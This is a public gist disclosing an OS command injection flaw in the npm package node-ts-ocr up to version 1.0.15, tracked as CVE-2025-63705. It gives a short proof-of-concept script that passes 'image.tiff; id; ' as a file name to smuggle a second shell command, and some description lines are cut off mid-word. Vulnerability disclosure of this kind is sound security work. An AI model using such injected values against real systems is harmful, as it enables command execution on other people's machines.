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6en6ar / [gist:a2ac44da0f4e580190be3e66cfbb9a4a](https://gist.github.com/6en6ar/a2ac44da0f4e580190be3e66cfbb9a4a)

Created 20 hours ago

[Code](#) [Revisions](#) 1

Public disclosure of security issue in NPM package node-ts-ocr through version 1.0.15

[gistfile1.txt](#)

```
1 Product: https://www.npmjs.com/package/node-ts-ocr
2 Version: v1.0.15
3 Vulnerability type: OS Command Injection in node-ts-ocr through version 1.0.15
4 CVE ID: CVE-2025-63705
5
6 Description:
7
8 invokeImageOcr function inside src/index.js does not sanitize imagePath variable on line 1
9 node-ts-ocr ackage provides a wrapper for modifying and manipulating image files. One of t
10 The imagePath variable is not sanitized and this leads to command injection.
11
12 Payload used:
13
14 > import { Ocr } from 'node-ts-ocr';
15 >
16 >
17 > export async function runTesseract(fileName) {
18 >
19 >     return await Ocr.invokeImageOcr('test_tesseract', fileName);
20 > }
21 >
22 > async function main() {
23 >   try {
24 >     var ret = runTesseract('image.tiff; id; ');
25 >     console.log('Result testing invokeImageOcr -> ', ret);
26 >   } catch (err) {
27 >     console.error('error running OCR:', err);
28 >   }
29 > }
30 >
31 > main();
```